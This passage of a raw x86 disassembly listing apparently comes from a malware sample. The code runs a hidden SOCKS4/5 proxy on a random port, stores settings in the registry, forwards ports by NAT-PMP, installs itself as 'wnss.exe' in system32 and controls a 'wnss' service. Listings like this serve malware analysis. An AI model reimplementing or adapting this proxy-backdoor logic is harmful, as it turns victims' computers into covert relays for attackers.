; ---------------------------------------------------------------------------


loc_4465DE:				; CODE XREF: sub_44659B+3Dj
		cmp	[ebp+var_1], 0
		jnz	short loc_4465AD
		xor	eax, eax
		inc	eax


loc_4465E7:				; CODE XREF: sub_44659B+29j
					; sub_44659B+41j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44659B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 430h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+8]
		mov	[ebp-41Ch], eax
		mov	edi, [eax+8]
		mov	eax, [ebp-41Ch]
		mov	edx, [eax]
		mov	[ebp-410h], edx
		mov	dx, [eax+4]
		mov	[ebp-40Ah], dx
		push	eax
		call	sub_443397
		pop	ecx
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp-410h]
		mov	[ebp-420h], eax
		push	eax
		call	sub_449101
		mov	[ebp-418h], eax
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-418h]
		push	offset aConnectionFrom ; "connection from [%s]\n"
		call	sub_449641
		add	esp, 0Ch
		mov	byte ptr [ebp-411h], 0
		mov	byte ptr [ebp-421h], 0
		push	1
		lea	eax, [ebp-411h]
		push	eax
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jle	loc_446C5B
		push	offset dword_41285C
		call	dword_411CCC
		push	0
		push	dword ptr [ebp-410h]
		push	dword_412934
		call	sub_444304
		add	esp, 0Ch
		mov	[ebp-428h], eax
		push	offset dword_41285C
		call	dword_411CD0
		cmp	dword ptr [ebp-428h], 0
		jnz	short loc_4466D7
		push	dword ptr [ebp-418h]
		push	offset aConnectionReje ; "connection rejected (from [%s])\n"
		call	nullsub_3
		pop	ecx
		pop	ecx
		jmp	loc_446C5B
; ---------------------------------------------------------------------------


loc_4466D7:				; CODE XREF: DMN1:004466BEj
		mov	word ptr [ebp-40Ah], 0
		and	dword ptr [ebp-410h], 0
		mov	al, [ebp-411h]
		cmp	al, 4
		jz	short loc_4466F9
		cmp	al, 5
		jnz	loc_446C5B


loc_4466F9:				; CODE XREF: DMN1:004466EFj
		push	dword ptr [ebp-418h]
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		push	offset aSocksVIS ; "socks v%i  [%s]\n"
		call	nullsub_3
		add	esp, 0Ch
		cmp	byte ptr [ebp-411h], 4
		jnz	loc_4467F3
		push	1
		lea	eax, [ebp-421h]
		push	eax
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jle	loc_446C5B
		push	2
		lea	eax, [ebp-40Ah]
		push	eax
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jle	loc_446C5B
		push	4
		lea	eax, [ebp-410h]
		push	eax
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jle	loc_446C5B
		push	edi
		call	sub_44656E
		pop	ecx
		test	eax, eax
		jz	loc_446C5B
		mov	eax, [ebp-410h]
		test	eax, 0FFFFFFh
		jnz	loc_4469DF
		test	eax, 0FF000000h
		jz	loc_4469DF
		push	400h
		lea	eax, [ebp-408h]
		push	eax
		push	edi
		call	sub_44659B
		add	esp, 0Ch
		test	eax, eax
		jz	loc_446C5B
		lea	eax, [ebp-408h]
		push	eax
		call	sub_443ADF
		pop	ecx
		mov	[ebp-410h], eax
		test	eax, eax
		jz	short loc_4467DD
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4467DD
		test	eax, eax
		jnz	loc_4469DF


loc_4467DD:				; CODE XREF: DMN1:004467CCj
					; DMN1:004467D3j
		push	0
		push	0
		push	4
		push	edi
		push	4
		call	sub_44651C
		add	esp, 14h
		jmp	loc_446C5B
; ---------------------------------------------------------------------------


loc_4467F3:				; CODE XREF: DMN1:0044671Bj
		cmp	byte ptr [ebp-411h], 5
		jnz	loc_446C5B
		mov	byte ptr [ebp-429h], 0
		push	1
		lea	eax, [ebp-429h]
		push	eax
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_446843
		jmp	loc_446C5B
; ---------------------------------------------------------------------------


loc_446822:				; CODE XREF: DMN1:0044684Aj
		push	1
		lea	eax, [ebp-42Ah]
		push	eax
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jle	loc_446C5B
		sub	byte ptr [ebp-429h], 1


loc_446843:				; CODE XREF: DMN1:0044681Bj
		cmp	byte ptr [ebp-429h], 0
		jnz	short loc_446822
		mov	dword ptr [ebp-430h], 5
		push	2
		lea	eax, [ebp-430h]
		push	eax
		push	edi
		call	sub_443AA8
		add	esp, 0Ch
		test	eax, eax
		jle	loc_446C5B
		push	1
		lea	eax, [ebp-42Ah]
		push	eax
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jle	loc_446C5B
		cmp	byte ptr [ebp-42Ah], 5
		jnz	loc_446C5B
		push	1
		lea	eax, [ebp-421h]
		push	eax
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jle	loc_446C5B
		push	1
		lea	eax, [ebp-42Ah]
		push	eax
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jle	loc_446C5B
		mov	byte ptr [ebp-42Bh], 0
		push	1
		lea	eax, [ebp-42Bh]
		push	eax
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jle	loc_446C5B
		cmp	byte ptr [ebp-42Bh], 1
		jnz	short loc_446914
		push	4
		lea	eax, [ebp-410h]
		push	eax
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jg	loc_4469C5
		jmp	loc_446C5B
; ---------------------------------------------------------------------------


loc_446914:				; CODE XREF: DMN1:004468F3j
		cmp	byte ptr [ebp-42Bh], 3
		jnz	loc_4469AF
		push	1
		lea	eax, [ebp-429h]
		push	eax
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jle	loc_446C5B
		cmp	byte ptr [ebp-429h], 0
		jz	loc_446C5B
		movsx	eax, byte ptr [ebp-429h]
		push	eax
		lea	eax, [ebp-408h]
		push	eax
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jle	loc_446C5B
		movsx	eax, byte ptr [ebp-429h]
		mov	byte ptr [ebp+eax-408h], 0
		lea	eax, [ebp-408h]
		push	eax
		call	sub_443ADF
		pop	ecx
		mov	[ebp-410h], eax
		test	eax, eax
		jz	short loc_446999
		cmp	eax, 0FFFFFFFFh
		jz	short loc_446999
		test	eax, eax
		jnz	short loc_4469C5


loc_446999:				; CODE XREF: DMN1:0044698Cj
					; DMN1:00446993j
		push	0
		push	0
		push	4
		push	edi
		push	5
		call	sub_44651C
		add	esp, 14h
		jmp	loc_446C5B
; ---------------------------------------------------------------------------


loc_4469AF:				; CODE XREF: DMN1:0044691Bj
		push	0
		push	0
		push	8
		push	edi
		push	5
		call	sub_44651C
		add	esp, 14h
		jmp	loc_446C5B
; ---------------------------------------------------------------------------


loc_4469C5:				; CODE XREF: DMN1:00446909j
					; DMN1:00446997j
		push	2
		lea	eax, [ebp-40Ah]
		push	eax
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jle	loc_446C5B


loc_4469DF:				; CODE XREF: DMN1:00446789j
					; DMN1:00446794j ...
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		call	sub_4490B9
		mov	[ebp-40Ah], ax
		test	ax, ax
		jnz	short loc_446A14
		push	0
		push	0
		push	2
		push	edi
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		call	sub_44651C
		add	esp, 14h
		jmp	loc_446C5B
; ---------------------------------------------------------------------------


loc_446A14:				; CODE XREF: DMN1:004469F6j
		cmp	byte ptr [ebp-421h], 1
		jz	short loc_446A43
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-410h]
		push	7
		push	edi
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		call	sub_44651C
		add	esp, 14h
		jmp	loc_446C5B
; ---------------------------------------------------------------------------


loc_446A43:				; CODE XREF: DMN1:00446A1Bj
		call	sub_44367A
		mov	[ebp-4], eax
		test	eax, eax
		jnz	short loc_446A6B
		push	0
		push	0
		push	1
		push	edi
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		call	sub_44651C
		add	esp, 14h
		jmp	loc_446C5B
; ---------------------------------------------------------------------------


loc_446A6B:				; CODE XREF: DMN1:00446A4Dj
		mov	eax, [ebp-410h]
		mov	[ebp-420h], eax
		push	eax
		call	sub_449101
		mov	[ebp-418h], eax
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-418h]
		push	offset aConnectingToSI ; "connecting to	%s:%i\n"
		call	nullsub_3
		add	esp, 0Ch
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-410h]
		push	dword ptr [ebp-4]
		call	sub_443888
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_446B02
		call	sub_449113
		push	eax
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-418h]
		push	offset aConnectionToSI ; "connection to	%s:%i failed! %-( (%i)\n"
		call	nullsub_3
		add	esp, 10h
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-410h]
		push	4
		push	edi
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		call	sub_44651C
		add	esp, 14h
		jmp	loc_446C5B
; ---------------------------------------------------------------------------


loc_446B02:				; CODE XREF: DMN1:00446AB9j
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-418h]
		push	offset aConnectedToSI ;	"connected to %s:%i\n"
		call	nullsub_3
		add	esp, 0Ch
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-410h]
		push	0
		push	edi
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		call	sub_44651C
		add	esp, 14h
		test	eax, eax
		jz	loc_446C5B
		push	offset aTransferringDa ; "transferring data...\n"
		call	nullsub_3
		pop	ecx
		xor	esi, esi


loc_446B53:				; CODE XREF: DMN1:00446C3Aj
					; DMN1:00446C4Bj
		inc	esi
		push	edi
		call	sub_4437F0
		pop	ecx
		test	eax, eax
		jl	loc_446C50
		push	edi
		call	sub_443863
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_446C50
		cmp	esi, 1Eh
		jle	short loc_446B80
		test	ebx, ebx
		jnz	short loc_446B80
		xor	ebx, ebx
		inc	ebx


loc_446B80:				; CODE XREF: DMN1:00446B77j
					; DMN1:00446B7Bj
		test	ebx, ebx
		jle	short loc_446BCC
		cmp	ebx, 400h
		jle	short loc_446B91
		mov	ebx, 400h


loc_446B91:				; CODE XREF: DMN1:00446B8Aj
		push	ebx
		lea	eax, [ebp-408h]
		push	eax
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		mov	[ebp-8], eax
		test	eax, eax
		jle	loc_446C50
		push	dword ptr [ebp-8]
		lea	eax, [ebp-408h]
		push	eax
		push	dword ptr [ebp-4]
		call	sub_443AA8
		add	esp, 0Ch
		test	eax, eax
		jle	loc_446C5B
		xor	esi, esi


loc_446BCC:				; CODE XREF: DMN1:00446B82j
		push	dword ptr [ebp-4]
		call	sub_4437F0
		pop	ecx
		test	eax, eax
		jl	short loc_446C50
		push	dword ptr [ebp-4]
		call	sub_443863
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_446C50
		cmp	esi, 1Eh
		jle	short loc_446BF4
		test	ebx, ebx
		jnz	short loc_446BF4
		xor	ebx, ebx
		inc	ebx


loc_446BF4:				; CODE XREF: DMN1:00446BEBj
					; DMN1:00446BEFj
		test	ebx, ebx
		jle	short loc_446C38
		cmp	ebx, 400h
		jle	short loc_446C05
		mov	ebx, 400h


loc_446C05:				; CODE XREF: DMN1:00446BFEj
		push	ebx
		lea	eax, [ebp-408h]
		push	eax
		push	dword ptr [ebp-4]
		call	sub_4439FD
		add	esp, 0Ch
		mov	[ebp-8], eax
		test	eax, eax
		jle	short loc_446C50
		push	dword ptr [ebp-8]
		lea	eax, [ebp-408h]
		push	eax
		push	edi
		call	sub_443AA8
		add	esp, 0Ch
		test	eax, eax
		jle	short loc_446C5B
		xor	esi, esi


loc_446C38:				; CODE XREF: DMN1:00446BF6j
		test	esi, esi
		jz	loc_446B53
		push	12Ch
		call	dword_411D00
		jmp	loc_446B53
; ---------------------------------------------------------------------------


loc_446C50:				; CODE XREF: DMN1:00446B5Dj
					; DMN1:00446B6Ej ...
		push	offset aDataExchangeCo ; "data exchange	complete\n"
		call	nullsub_3
		pop	ecx


loc_446C5B:				; CODE XREF: DMN1:0044667Fj
					; DMN1:004466D2j ...
		push	offset aConnectionClos ; "connection closed.\n"
		call	nullsub_3
		pop	ecx
		push	edi
		call	sub_4437E3
		pop	ecx
		cmp	dword ptr [ebp-4], 0
		jz	short loc_446C7C
		push	dword ptr [ebp-4]
		call	sub_4437E3
		pop	ecx


loc_446C7C:				; CODE XREF: DMN1:00446C71j
		call	sub_449D81
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		and	dword ptr [ebp-4], 0
		and	dword_41100C, 0
		mov	eax, dword_41100C
		mov	[ebp-10h], eax
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		call	dword_411E24
		test	eax, eax
		jnz	short loc_446D00
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		push	0
		push	offset aInternalprogra ; "InternalProgramData"
		push	dword ptr [ebp-0Ch]
		call	dword_411E44
		test	eax, eax
		jnz	short loc_446CF7
		mov	eax, [ebp-10h]
		mov	dword_41100C, eax


loc_446CF7:				; CODE XREF: DMN1:00446CEDj
		push	dword ptr [ebp-0Ch]
		call	dword_411E2C


loc_446D00:				; CODE XREF: DMN1:00446CCDj
		push	offset aListener___ ; "listener...\n"
		call	nullsub_3
		pop	ecx
		lea	eax, [ebp-1Ah]
		push	eax
		call	sub_4447C7
		pop	ecx
		mov	[ebp-6], ax
		test	ax, ax
		jz	short loc_446D42
		cmp	ax, 0FFFFh
		jz	short loc_446D42
		movzx	eax, word ptr [ebp-6]
		cmp	dword_411010, eax
		jz	short loc_446D42
		movzx	eax, word ptr [ebp-6]
		mov	dword_411010, eax
		movzx	eax, word ptr [ebp-1Ah]
		mov	dword_41100C, eax


loc_446D42:				; CODE XREF: DMN1:00446D1Cj
					; DMN1:00446D22j ...
		call	sub_44367A
		mov	dword_411030, eax


loc_446D4C:				; CODE XREF: DMN1:00446DC8j
		cmp	dword_41100C, 0
		jnz	short loc_446D88


loc_446D55:				; CODE XREF: DMN1:00446D7Cj
					; DMN1:00446D83j
		lea	eax, [ebp-4]
		push	eax
		call	sub_443322
		pop	ecx
		mov	ecx, 9C40h
		cdq
		idiv	ecx
		lea	eax, [edx+4E20h]
		mov	dword_41100C, eax
		mov	eax, dword_41100C
		cmp	eax, 24EAh
		jz	short loc_446D55
		cmp	eax, 0BB8h
		jz	short loc_446D55
		xor	ebx, ebx
		inc	ebx


loc_446D88:				; CODE XREF: DMN1:00446D53j
		movzx	eax, word ptr dword_41100C
		push	eax
		push	0
		push	dword_411030
		call	sub_4438D8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_446DCA
		and	dword_41100C, 0
		and	dword_411010, 0
		push	dword_411030
		call	sub_4437E3
		pop	ecx
		call	sub_44367A
		mov	dword_411030, eax
		jmp	short loc_446D4C
; ---------------------------------------------------------------------------


loc_446DCA:				; CODE XREF: DMN1:00446DA2j
		push	dword_41100C
		push	offset aSocksPortI ; "SOCKS port: %i\n"
		call	sub_449641
		pop	ecx
		pop	ecx
		mov	eax, dword_41100C
		mov	dword_411010, eax
		call	sub_445434
		mov	[ebp-14h], eax
		movzx	eax, word ptr dword_411010
		push	eax
		movzx	eax, word ptr dword_41100C
		push	eax
		push	dword ptr [ebp-14h]
		call	sub_445643
		add	esp, 0Ch
		movzx	eax, ax
		mov	dword_411010, eax
		cmp	dword_411010, 0
		jnz	short loc_446E26
		mov	eax, dword_41100C
		mov	dword_411010, eax
		jmp	short loc_446E38
; ---------------------------------------------------------------------------


loc_446E26:				; CODE XREF: DMN1:00446E18j
		push	dword_411010
		push	offset aNatpmpForwarde ; "NATPMP: forwarded to:	%i\n"
		call	sub_449641
		pop	ecx
		pop	ecx


loc_446E38:				; CODE XREF: DMN1:00446E24j
		movzx	eax, word ptr dword_41100C
		push	eax
		push	eax
		call	sub_444E23
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_446E51
		mov	eax, dword_41100C


loc_446E51:				; CODE XREF: DMN1:00446E4Aj
		test	ebx, ebx
		jz	short loc_446EA7
		mov	eax, dword_41100C
		mov	[ebp-10h], eax
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		call	dword_411E24
		test	eax, eax
		jnz	short loc_446EA7
		push	4
		lea	eax, [ebp-10h]
		push	eax
		push	4
		push	0
		push	offset aInternalprogra ; "InternalProgramData"
		push	dword ptr [ebp-0Ch]
		call	dword_411E28
		push	dword ptr [ebp-0Ch]
		call	dword_411E2C


loc_446EA7:				; CODE XREF: DMN1:00446E53j
					; DMN1:00446E84j
		push	1
		push	offset dword_411024
		call	dword_411D04
		push	1
		push	offset dword_41102C
		call	dword_411D04
		push	offset aStartingCommTh ; "starting COMM	thread...\n"
		call	nullsub_3
		pop	ecx
		push	0
		push	0
		push	offset sub_40400E
		call	sub_449CF1
		add	esp, 0Ch
		push	eax
		call	dword_411CF8
		push	0C8h
		call	dword_411D00
		push	0
		push	0
		push	offset sub_403FEA
		call	sub_449CF1
		add	esp, 0Ch
		push	eax
		call	dword_411CF8
		push	0C8h
		call	dword_411D00


loc_446F12:				; CODE XREF: DMN1:00446F3Cj
					; DMN1:00446F6Fj
		push	dword_411030
		call	sub_443928
		pop	ecx
		test	eax, eax
		jz	short loc_446F71
		lea	eax, [ebp-2Ah]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword_411030
		call	sub_44398D
		add	esp, 0Ch
		mov	edi, eax
		test	edi, edi
		jz	short loc_446F12
		push	0Ch
		call	sub_443369
		pop	ecx
		mov	esi, eax
		mov	eax, [ebp-28h]
		mov	[esi], eax
		mov	ax, [ebp-2Ah]
		mov	[esi+4], ax
		mov	[esi+8], edi
		push	esi
		push	0
		push	offset sub_4042CD
		call	sub_449CF1
		add	esp, 0Ch
		push	eax
		call	dword_411CF8
		jmp	short loc_446F12
; ---------------------------------------------------------------------------


loc_446F71:				; CODE XREF: DMN1:00446F20j
		push	0
		push	offset dword_41102C
		call	dword_411D04
		push	dword_411030
		call	sub_4437E3
		pop	ecx
		and	dword_411030, 0
		call	sub_449D81
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		mov	ebx, [ebp+10h]
		push	44h
		push	0
		lea	eax, [ebp-44h]
		push	eax
		call	sub_4499B1
		add	esp, 0Ch
		mov	dword ptr [ebp-44h], 44h
		test	ebx, ebx
		jz	short loc_446FDA
		push	offset asc_40EDE8 ; "\""
		lea	eax, [ebp-844h]
		push	eax
		call	sub_449A51
		pop	ecx
		pop	ecx
		jmp	short loc_446FE1
; ---------------------------------------------------------------------------


loc_446FDA:				; CODE XREF: DMN1:00446FC3j
		mov	byte ptr [ebp-844h], 0


loc_446FE1:				; CODE XREF: DMN1:00446FD8j
		cmp	dword ptr [ebp+8], 0
		jz	short loc_446FFA
		push	dword ptr [ebp+8]
		lea	eax, [ebp-844h]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		jmp	short loc_44700D
; ---------------------------------------------------------------------------


loc_446FFA:				; CODE XREF: DMN1:00446FE5j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		lea	eax, [ebp-844h]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx


loc_44700D:				; CODE XREF: DMN1:00446FF8j
		test	ebx, ebx
		jz	short loc_447024
		push	offset asc_40EDE8 ; "\""
		lea	eax, [ebp-844h]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx


loc_447024:				; CODE XREF: DMN1:0044700Fj
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_44704E
		push	offset asc_40EDC9 ; " "
		lea	eax, [ebp-844h]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-844h]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx


loc_44704E:				; CODE XREF: DMN1:00447028j
		lea	eax, [ebp-854h]
		push	eax
		lea	eax, [ebp-44h]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp-844h]
		push	eax
		push	0
		call	dword_411D10
		test	eax, eax
		jz	short loc_447093
		push	dword ptr [ebp-850h]
		call	dword_411CF8
		push	dword ptr [ebp-854h]
		call	dword_411CF8
		xor	eax, eax
		inc	eax


loc_447093:				; CODE XREF: DMN1:00447076j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_447098	proc near		; CODE XREF: DMN1:00447FE4p
					; sub_448AD1:loc_448E0Dp ...
		push	ebx
		push	esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4470DF
		push	4
		push	offset aWnss	; "wnss"
		push	ebx
		call	dword_411E4C
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4470CE
		push	ebx
		call	dword_411E50
		xor	eax, eax
		jmp	short loc_4470DF
; ---------------------------------------------------------------------------


loc_4470CE:				; CODE XREF: sub_447098+29j
		push	esi
		call	dword_411E50
		push	ebx
		call	dword_411E50
		xor	eax, eax
		inc	eax


loc_4470DF:				; CODE XREF: sub_447098+15j
					; sub_447098+34j
		pop	esi
		pop	ebx
		retn
sub_447098	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4470E2	proc near		; CODE XREF: sub_448AD1+3C4p

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44714C
		push	94h
		push	offset aWnss	; "wnss"
		push	ebx
		call	dword_411E4C
		mov	esi, eax
		test	esi, esi
		jnz	short loc_447122
		push	ebx
		call	dword_411E50
		xor	eax, eax
		jmp	short loc_44714C
; ---------------------------------------------------------------------------


loc_447122:				; CODE XREF: sub_4470E2+33j
		xor	edi, edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_411E54
		test	eax, eax
		jz	short loc_44713C
		cmp	[ebp+var_18], 4
		jnz	short loc_44713C
		xor	edi, edi
		inc	edi


loc_44713C:				; CODE XREF: sub_4470E2+4Fj
					; sub_4470E2+55j
		push	esi
		call	dword_411E50
		push	ebx
		call	dword_411E50
		mov	eax, edi


loc_44714C:				; CODE XREF: sub_4470E2+1Cj
					; sub_4470E2+3Ej
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4470E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447153	proc near		; CODE XREF: sub_4471E8+32p
					; sub_447236+39p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	0
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	dword_411E58
		test	eax, eax
		jnz	short loc_447195
		call	dword_411CE8
		cmp	eax, 430h
		jnz	short loc_447191
		or	eax, 0FFFFFFFFh
		jmp	short loc_4471E3
; ---------------------------------------------------------------------------


loc_447191:				; CODE XREF: sub_447153+37j
		xor	eax, eax
		jmp	short loc_4471E3
; ---------------------------------------------------------------------------


loc_447195:				; CODE XREF: sub_447153+2Aj
		mov	[ebp+var_1C], 1
		and	[ebp+var_18], 0
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	2
		push	ebx
		call	dword_411E5C
		test	eax, eax
		jnz	short loc_4471E0
		call	dword_411CE8
		cmp	eax, 430h
		jnz	short loc_4471DC
		or	eax, 0FFFFFFFFh
		jmp	short loc_4471E3
; ---------------------------------------------------------------------------


loc_4471DC:				; CODE XREF: sub_447153+82j
		xor	eax, eax
		jmp	short loc_4471E3
; ---------------------------------------------------------------------------


loc_4471E0:				; CODE XREF: sub_447153+75j
		xor	eax, eax
		inc	eax


loc_4471E3:				; CODE XREF: sub_447153+3Cj
					; sub_447153+40j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_447153	endp


; =============== S U B	R O U T	I N E =======================================



sub_4471E8	proc near		; CODE XREF: sub_44730A+6Dp
					; DMN1:loc_447FFBp
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48
		mov	ebx, eax
		test	eax, eax
		jz	short loc_447232
		push	96h
		push	offset aWnss	; "wnss"
		push	ebx
		call	dword_411E4C
		mov	esi, eax
		test	esi, esi
		jz	short loc_447229
		push	esi
		call	sub_447153
		pop	ecx
		mov	edi, eax
		push	esi
		call	dword_411E50


loc_447229:				; CODE XREF: sub_4471E8+2Fj
		push	ebx
		call	dword_411E50
		mov	eax, edi


loc_447232:				; CODE XREF: sub_4471E8+18j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4471E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447236	proc near		; CODE XREF: DMN1:00447EFAp
					; sub_448AD1+428p ...

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48
		mov	edi, eax
		test	eax, eax
		jz	loc_447303
		push	16h
		push	offset aWnss	; "wnss"
		push	edi
		call	dword_411E4C
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_447292
		push	ebx
		call	sub_447153
		pop	ecx
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_44728E
		push	ebx
		call	dword_411E50
		push	edi
		call	dword_411E50
		mov	eax, esi
		jmp	short loc_447303
; ---------------------------------------------------------------------------


loc_44728E:				; CODE XREF: sub_447236+44j
		xor	esi, esi
		jmp	short loc_4472A2
; ---------------------------------------------------------------------------


loc_447292:				; CODE XREF: sub_447236+36j
		push	14h
		push	offset aWnss	; "wnss"
		push	edi
		call	dword_411E4C
		mov	ebx, eax


loc_4472A2:				; CODE XREF: sub_447236+5Aj
		test	ebx, ebx
		jnz	short loc_4472B1
		push	edi
		call	dword_411E50
		xor	eax, eax
		jmp	short loc_447303
; ---------------------------------------------------------------------------


loc_4472B1:				; CODE XREF: sub_447236+6Ej
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_411E54
		test	eax, eax
		jz	short loc_4472C9
		cmp	[ebp+var_18], 4
		jnz	short loc_4472C9
		xor	esi, esi
		inc	esi


loc_4472C9:				; CODE XREF: sub_447236+88j
					; sub_447236+8Ej
		test	esi, esi
		jnz	short loc_4472F3
		push	0
		push	0
		push	ebx
		call	dword_411E60
		test	eax, eax
		jz	short loc_4472E3
		mov	esi, 2
		jmp	short loc_4472F3
; ---------------------------------------------------------------------------


loc_4472E3:				; CODE XREF: sub_447236+A4j
		call	dword_411CE8
		cmp	eax, 430h
		jnz	short loc_4472F3
		or	esi, 0FFFFFFFFh


loc_4472F3:				; CODE XREF: sub_447236+95j
					; sub_447236+ABj ...
		push	ebx
		call	dword_411E50
		push	edi
		call	dword_411E50
		mov	eax, esi


loc_447303:				; CODE XREF: sub_447236+1Ej
					; sub_447236+56j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_447236	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44730A	proc near		; CODE XREF: DMN1:loc_44800Cp
					; sub_448AD1+3F3p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_113		= byte ptr -113h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
